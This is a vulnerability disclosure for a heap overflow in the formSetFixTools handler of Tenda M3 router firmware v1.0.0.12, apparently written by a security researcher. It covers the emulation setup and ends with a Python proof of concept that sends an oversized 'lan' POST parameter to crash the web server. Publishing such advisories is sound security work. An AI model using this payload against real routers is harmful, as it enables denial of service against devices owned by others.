Tenda M3 contains heap Overflow Vulnerability

overview

• type: heap overflow vulnerability

• supplier: Tenda https://www.tenda.com

• product: TendaM3 https://www.tenda.com.cn/product/M3.html

• firmware download: https://www.tenda.com.cn/download/detail-3133.html

• affect version: TendaM3 v1.0.0.12(4856)

Description

1. Vulnerability Details

the httpd in directory /bin has a heap buffer overflow. The vunlerability is in fucntion formSetFixTools

It calls malloc(0x28) to allocate heap buffer, and it copies POST parameterlan tp heap buffer.

It didn’t check the value of v23 and calls strncpy, so there is a heap overflow.

2. Recurring loopholes and POC

use qemu-arm-static to run the httpd, we need to patch it before run.

• in main function, The ConnectCfm function didn’t work properly, so I patched it to NOP
• The R7WebsSecurityHandler function is used for permission control, and I've modified it to access URLs that can only be accessed after login

poc of DOS(deny of service)

import requests

data = {
    "networkTool": "3",
	"operation": "start", 
	"lan": "a"*0x100
}
cookies = {
    "user": "admin"
}
res = requests.post("http://127.0.0.1/goform/setFixTools", data=data, cookies=cookies)
print(res.content)